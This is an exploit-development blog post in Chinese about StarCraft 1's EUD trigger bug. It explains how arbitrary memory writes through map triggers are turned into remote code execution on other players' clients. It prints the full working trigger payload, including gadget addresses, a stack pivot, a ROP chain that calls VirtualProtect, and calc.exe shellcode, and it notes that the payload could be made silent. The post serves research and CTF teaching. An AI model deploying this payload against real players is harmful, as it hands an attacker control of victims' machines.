Featured image of post 星际争霸1 EUD漏洞利用:从内存任意读写到远程代码执行

星际争霸1 EUD漏洞利用:从内存任意读写到远程代码执行

本文详细分析了星际争霸1中著名的EUD漏洞机制,展示了如何通过内存任意读写漏洞构造ROP链实现远程代码执行,包含完整的漏洞利用技术和实战演示。

利用星际争霸1 EUD漏洞

星际争霸(1998年发布)至今仍是最优秀的策略游戏之一。20多年后,它依然拥有活跃的社区,并在2017年发布了重制版,更新了画面和音效。但如同大多数软件,它也存在不少漏洞。其中一个漏洞是游戏地图内嵌脚本解析器中的任意读写漏洞。虽然我一直认为该漏洞可被利用,但从未见过公开案例。上周末,我亲自编写了一个漏洞利用程序,并将其转化为Midnight Sun CTF 2020资格赛的挑战题目。本篇博客将介绍背景知识、漏洞原理及利用方法,第二部分将阐述如何将其转化为CTF挑战及各战队的解决方案。

漏洞原理 - 扩展单位死亡(EUD)

游戏发布八年后,2006年1月18日,星际争霸1.13f补丁发布。补丁说明仅提到“修复了若干导致游戏漏洞的bug”,其中包含一个被称为“扩展单位死亡”(EUD)的特定漏洞。EUD漏洞得名于其利用机制,允许在程序内存中进行任意读写。

星际争霸内置简单的脚本系统,允许地图包含小型代码片段,用于操纵游戏部分内容以创建新游戏模式或剧情驱动的战役地图。这些脚本称为“触发器”,采用简单的if-then结构。每个触发器包含一组“条件”和“动作”。当所有条件满足时,所有动作将被执行。触发器可影响特定玩家或所有玩家。例如,条件可以是“将单位X移动到位置Y”,动作可以是“显示文本消息X”或“创建单位Y”。

游戏会记录每个玩家击杀的各类单位数量,称为“死亡计数器”,存储在<玩家数量> x <单位类型数量>的无符号4字节条目表中。单位被击杀时,会执行类似unit_deaths[player_id][unit_type]++的操作。这些值可在触发器条件中用于比较特定值以判断条件是否满足,形成if(unit_deaths[current_player][unit_type] == X)的条件。也可在触发器动作中通过设置、加减操作修改条目,形成unit_deaths[player_id][unit_type] =/+=/-= X的动作。漏洞在于这些动作中未对单位类型索引进行有效范围检查,允许我们相对于该数组在任何偏移量进行读写、加减操作。此外,由于程序未启用PIE且数组作为全局变量存储,其地址已知,我们可完全控制访问地址。

1.13f补丁为以下三个函数添加了范围检查:

  • 0x004C5DD0: action_deaths_set
  • 0x004C5C60: action_deaths_add
  • 0x004C5A80: action_deaths_sub

以下是其中一个函数的部分代码,展示了任意写入及补丁中添加的检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int action_deaths_set(unsigned int player, unsigned short unit_idx, int deaths) {
  ...
  switch (player) {
    // 特殊情况处理
    case 0xDu:
      player = dword_6509B0;
      goto SET_UNIT_DEATHS;
    case 0xEu:
      ...
    default:
SET_UNIT_DEATHS:
+++   if (player >= 8 || unit_idx >= 0xE9u) // 添加范围检查
+++     return 0;
      switch (unit_idx) {
        // 特殊情况处理
        case 0xE5u:
          return 0;
        case 0xE6u:
          ...
        default:
+++       if (unit_idx < 228u) // 添加范围检查
            // 此处为任意写入
            unit_deaths[player + 12 * unit_idx] = deaths;
          return 0;
          ...

环境搭建

我的目标是编写漏洞利用程序,实现在其他玩家计算机上的远程代码执行。在线游戏时,玩家可主持自定义地图游戏,加入的玩家将从主机下载地图,所有触发器将在各客户端同步运行。因此,我需创建地图,使得其他玩家加入游戏时,我能在其客户端执行代码。

该漏洞在1.13f版本中被修复,故仅旧版本客户端易受攻击。但许多玩家喜爱利用此机制创建的“EUD地图”,因此出现了EUDEnable工具,通过内存补丁重新引入漏洞。1.16.1版本于2009年1月19日发布,成为八年间最后一个补丁(直至2017年重制版发布),被全球爱好者深入探索、逆向工程和文档化。我选择模拟运行1.16.1版本并激活EUDEnable的环境编写利用程序,但技术应适用于所有1.16.1之前版本。

为创建自定义地图,我使用第三方地图编辑器ScmDraft 2,其包含trigedit工具,可用基于文本的语言编辑地图触发器,而非官方编辑器的GUI工作流。

为便于调试,需在二进制文件中撤销补丁而非使用EUDEnable,因为EUDEnable通过启动游戏、附加调试器并挂钩“设置单位死亡”动作处理器实现,导致无法附加自身调试器。我使用IDA Pro定位范围检查位置,并用Binary Ninja移除检查。应用补丁后,无需EUDEnable且可附加x64dbg等调试器。

漏洞利用

客户端为标准32位Windows二进制文件,具有以下保护(使用winchecksec检测):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
> winchecksec StarCraft.exe
Dynamic Base    : false
ASLR            : false
High Entropy VA : false
Force Integrity : false
Isolation       : true
NX              : true
SEH             : true
CFG             : false
RFG             : false
SafeSEH         : false
GS              : false
.NET            : false

关键点在于启用NX但未启用ASLR,故代码和数据段位于已知地址。

利用此原语需知死亡计数器内存位置以确定偏移量对应内存位置。由于无ASLR,通过反汇编或调试易得。幸运的是,trigedit已内置抽象:MemoryAddr(addr, action, value)动作接受绝对地址并在内部转换为适当偏移。需注意因数组为4字节值,仅可访问4字节对齐地址。action参数可用于内存加减操作,但我仅使用“设置为”变体。

了解游戏数据存储位置亦有帮助。得益于游戏流行度、EUD漏洞及BWAPI等项目,玩家已映射游戏内存布局和触发器系统细节。

第一步是控制EIP。这很简单。内存布局中可找到“触发器动作函数数组”,包含所有可触发动作的函数指针。通过覆盖表中条目并调用相应动作,即可控制指令指针。选择“Leader Board (Kills)”动作(ID 20),目标地址为0x00512800 + 4*20 = 0x00512850。在地图中添加以下触发器并运行将使游戏崩溃,EIP设置为0x12345678

1
2
3
4
5
6
Trigger("All players"){
Conditions:
    Always();
Actions:
    MemoryAddr(0x00512850, Set To, 0x12345678);
    Leader Board Kills("a", "Terran Marine");

虽可轻松使用任意写入在内存中设置任意大小ROP链,但需控制栈指针。在找到方法前,控制EIP及第一个参数(栈顶)是有用的原语。

搜索后,使用rp++在二进制文件中发现以下gadget:

1
2
0x0040ccb3: push [0x0050C63C]; call [0x0051BC08];
0x00469c72: pop ecx; add al, 0x89; pop esp; retn 0x8904;

这意味着若将值X写入地址0x0050C63C,值0x00469c72写入地址0x0051BC08,并使用上述方法跳转到0x0040ccb3,将导致ESP寄存器设置为X+0x8904+0x4并执行X处指令。可通过以下触发器实现:

1
2
3
4
5
6
7
8
Trigger("All players"){
Conditions:
    Always();
Actions:
    MemoryAddr(0x0050C63C, Set To, 0x006d46f8); // X值
    MemoryAddr(0x0051BC08, Set To, 0x00469c72); // 第二个gadget
    MemoryAddr(0x00512850, Set To, 0x0040ccb3); // 控制EIP
    Leader Board Kills("a", "Terran Marine");

现已有栈旋转,可执行ROP链。将ROP链写入bss段末尾并在其后放入shellcode。bss段不可执行,但ROP链将解决此问题。ROP链仅调用VirtualProtect使bss可执行后跳转至shellcode。幸运的是,VirtualProtect被导入二进制文件,其导入条目位于0x004FE0F0。使用以下两个gadget设置跳转:

1
2
0x00405cd2: pop eax; ret;
0x0040660e: jmp [eax];

选择将ROP链置于地址0x6DD000,脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
...
    // ROP链起始
    // 0x006d46f8 = 0x006dd000 - 0x8904 - 4
    MemoryAddr(0x006d46f8, Set To, 0x00405cd3); // ret
    // ROP链主体
    MemoryAddr(0x006dd000, Set To, 0x00405cd2); // pop eax; ret;
    MemoryAddr(0x006dd004, Set To, 0x004fe0f0); // &VirtualProtect
    MemoryAddr(0x006dd008, Set To, 0x0040660e); // jmp [eax] -> VirtualProtect
    MemoryAddr(0x006dd00c, Set To, 0x0040650b); // ret -------------
    MemoryAddr(0x006dd010, Set To, 0x006dd000); // lpAddress       |
    MemoryAddr(0x006dd014, Set To, 0x00000100); // dwSize          |
    MemoryAddr(0x006dd018, Set To, 0x00000040); // flNewProtect    |
    MemoryAddr(0x006dd01c, Set To, 0x006dd000); // lpflOldProtect  |
    MemoryAddr(0x006dd020, Set To, 0x006dd024); // &shellcode <----|
...
    Leader Board Kills("a", "Terran Marine"); // 触发利用

运行此代码将旋转栈,执行VirtualProtect(0x6dd000, 0x100, 0x40, 0x6dd000)后跳转至ROP链之后地址。VirtualProtect调用将使整个bss段可执行。

现仅缺shellcode。作为PoC,我选择32位shellcode运行calc.exe,将其分割为4字节块,使用脚本写入ROP链之后,最终载荷如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Trigger("All players"){
Conditions:
    Always();
Actions:
    // 写入shellcode
    MemoryAddr(0x006dd024, Set To, 0x8b64db31);
    MemoryAddr(0x006dd028, Set To, 0x7f8b307b);
    MemoryAddr(0x006dd02c, Set To, 0x1c7f8b0c);
    MemoryAddr(0x006dd030, Set To, 0x8b08478b);
    MemoryAddr(0x006dd034, Set To, 0x3f8b2077);
    MemoryAddr(0x006dd038, Set To, 0x330c7e80);
    MemoryAddr(0x006dd03c, Set To, 0xc789f275);
    MemoryAddr(0x006dd040, Set To, 0x8b3c7803);
    MemoryAddr(0x006dd044, Set To, 0xc2017857);
    MemoryAddr(0x006dd048, Set To, 0x01207a8b);
    MemoryAddr(0x006dd04c, Set To, 0x8bdd89c7);
    MemoryAddr(0x006dd050, Set To, 0xc601af34);
    MemoryAddr(0x006dd054, Set To, 0x433e8145);
    MemoryAddr(0x006dd058, Set To, 0x75616572);
    MemoryAddr(0x006dd05c, Set To, 0x087e81f2);
    MemoryAddr(0x006dd060, Set To, 0x7365636f);
    MemoryAddr(0x006dd064, Set To, 0x7a8be975);
    MemoryAddr(0x006dd068, Set To, 0x66c70124);
    MemoryAddr(0x006dd06c, Set To, 0x8b6f2c8b);
    MemoryAddr(0x006dd070, Set To, 0xc7011c7a);
    MemoryAddr(0x006dd074, Set To, 0xfcaf7c8b);
    MemoryAddr(0x006dd078, Set To, 0xd989c701);
    MemoryAddr(0x006dd07c, Set To, 0xe253ffb1);
    MemoryAddr(0x006dd080, Set To, 0x616368fd);
    MemoryAddr(0x006dd084, Set To, 0xe289636c);
    MemoryAddr(0x006dd088, Set To, 0x53535252);
    MemoryAddr(0x006dd08c, Set To, 0x53535353);
    MemoryAddr(0x006dd090, Set To, 0xd7ff5352);

    // ROP链起始
    // 0x006d46f8 = 0x006dd000 - 0x8904 - 4
    MemoryAddr(0x006d46f8, Set To, 0x00405cd3); // ret
    // ROP链主体
    MemoryAddr(0x006dd000, Set To, 0x00405cd2); // pop eax; ret;
    MemoryAddr(0x006dd004, Set To, 0x004fe0f0); // &VirtualProtect
    MemoryAddr(0x006dd008, Set To, 0x0040660e); // jmp [eax] -> VirtualProtect
    MemoryAddr(0x006dd00c, Set To, 0x0040650b); // ret -------------
    MemoryAddr(0x006dd010, Set To, 0x006dd000); // lpAddress       |
    MemoryAddr(0x006dd014, Set To, 0x00000100); // dwSize          |
    MemoryAddr(0x006dd018, Set To, 0x00000040); // flNewProtect    |
    MemoryAddr(0x006dd01c, Set To, 0x006dd000); // lpflOldProtect  |
    MemoryAddr(0x006dd020, Set To, 0x006dd024); // &shellcode <----|

    // 设置栈旋转
    MemoryAddr(0x0050C63C, Set To, 0x006d46f8); // X值
    MemoryAddr(0x0051BC08, Set To, 0x00469c72); // 第二个gadget
    MemoryAddr(0x00512850, Set To, 0x0040ccb3); // 控制EIP

    // 触发利用
    Leader Board Kills("a", "Terran Marine");

为避免手动编写触发器,我创建Python脚本自动生成。工作流程为编辑脚本、运行、复制输出至ScmDraft、编译保存地图后运行。虽有Python库可直接完成此过程,但我未成功使用。

将此触发器放入自定义地图并运行将启动calc.exe并使所有玩家游戏崩溃。当然,shellcode可替换为任意内容,理论上甚至可使利用程序不崩溃游戏,让受害者毫无察觉。

结论

研究并编写我最喜爱游戏的漏洞利用程序极具教育意义,尽管漏洞利用相对简单,但最终成功弹出计算器时我深感满足。我决定让他人体验类似经历,将此漏洞转化为Midnight Sun CTF 2020资格赛的挑战题目,这需要有趣的基础设施并产生多种利用方案。我将在不久后发布关于此挑战的第二篇博客。

我在此漏洞被修复十多年后重新研究的原因之一是2017年12月7日发布的1.21.0版本包含了特殊功能:EUD模拟器。这以安全方式重新引入漏洞,使旧版趣味自定义地图可再次游玩,同时避免内存破坏攻击。暴雪员工Elias Bachaalany在REcon Brussels 2018上介绍了该模拟器及相关工作。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计